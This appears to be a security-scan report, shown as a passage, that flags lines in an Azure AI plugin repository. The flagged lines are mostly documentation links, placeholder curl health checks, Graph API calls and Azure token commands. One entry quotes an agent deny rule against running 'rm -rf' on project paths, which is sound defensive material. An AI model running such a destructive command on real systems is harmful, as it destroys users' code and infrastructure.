    # Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 95
    curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 212
    # Send request with tracing curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 213
    curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 256
    # 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 257
    curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 268
    - [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems)
  • Network accessline 269
    - [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics)
  • Network accessline 270
    - [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 73
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 74
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 75
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 76
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 77
    - [GitHub Models](https://docs.github.com/github-models)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 87
    - AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search)
  • Network accessline 88
    - Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-transcription-py.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-translation-ts.md

  • Access to secretsline 14
    [Credential-related source omitted]

harness/claude-code/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md

  • Network accessline 123
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 124
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 125
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 126
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/claude-code/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md

  • Network accessline 74
    GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id}
  • Network accessline 90
    Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET `   -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 91
    Invoke-MgGraphRequest -Method GET    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 92
    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 104
    POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser
  • Network accessline 140
    Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 141
    -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 158
    PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref
  • Network accessline 162
    {   "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 163
    "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 170
    $managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}'
  • Network accessline 171
    Invoke-MgGraphRequest -Method PUT    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref"
  • Network accessline 172
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" `
  • Network accessline 185
    PATCH https://graph.microsoft.com/beta/users/{agent-user-id}
  • Network accessline 197
    GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits
  • Network accessline 206
    POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense
  • Network accessline 223
    # Set usage location Invoke-MgGraphRequest -Method PATCH `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 224
    Invoke-MgGraphRequest -Method PATCH    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>"
  • Network accessline 225
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 229
    $licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 230
    Invoke-MgGraphRequest -Method POST    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense"
  • Network accessline 231
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 305
    - [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ
  • Network accessline 306
    - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password.
  • Network accessline 314
    - [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities)
  • Network accessline 315
    - [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users)
  • Network accessline 316
    - [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals)
  • Network accessline 317
    - [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint)
  • Network accessline 318
    - [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities)
  • Network accessline 319
    - [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta)
  • Network accessline 320
    - [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md

  • Network accessline 60
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 61
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 62
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 79
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 80
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 81
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 89
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 119
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 120
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 121
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 147
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 148
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 149
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 158
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 159
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 160
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 58
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 60
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 26
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 27
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 55
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 56
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 57
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 58
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 109
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 110
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 111
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md

  • Network accessline 26
    - Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples
  • Network accessline 53
    1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K
  • Network accessline 54
    2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and
  • Network accessline 55
    3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task.
  • Network accessline 102
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)

harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet/samples>

harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/python/samples>

harness/claude-code/plugins/azure-app-lifecycle/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/prereq-schemas.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 64
    buildRequirements?: BuildRequirements;   /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.
  • Network accessline 65
    /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.    *  null if no health endpoint found (triggers W-HEALTH warning). */
  • Network accessline 66
    *  Used by scaffold for Azure health probe config and deploy for curl health check.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/blocked-patterns.md

  • Dangerous shell operationline 7
    | `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md

  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 52
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md

  • Network accessline 25
    | Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use
  • Network accessline 26
    |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see
  • Network accessline 27
    | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below). 

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-swa.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 52
    - **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (
  • Network accessline 53
    - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md

  • Network accessline 55
    - ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `
  • Network accessline 57
    - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu
  • Access to secretsline 65
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/health-check-patterns.md

  • Network accessline 22
    If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 23
    1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 54
    |---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 55
    | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname
  • Network accessline 56
    | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 57
    | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) |
  • Network accessline 64
    > ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end
  • Network accessline 65
    > ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 66
    > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell
  • Network accessline 67
    > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 76
    {   "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
  • Network accessline 77
    "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",   "healthStatus": "healthy"  // healthy | degraded | unreachable | unknown
  • Network accessline 78
    "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/portal-links.md

  • Network accessline 11
    $deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta
  • Network accessline 12
    $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN
  • Network accessline 13
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 27
    $resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F')
  • Network accessline 28
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 33
    For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog`
  • Network accessline 51
    ⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName}
  • Network accessline 52
    https://portal.azure.com/.../{newDeploymentName}

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/preflight-checks.md

  • Network accessline 17
    - Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for
  • Network accessline 19
    - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/handoff-protocol.md

  • Network accessline 12
    > 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
  • Network accessline 13
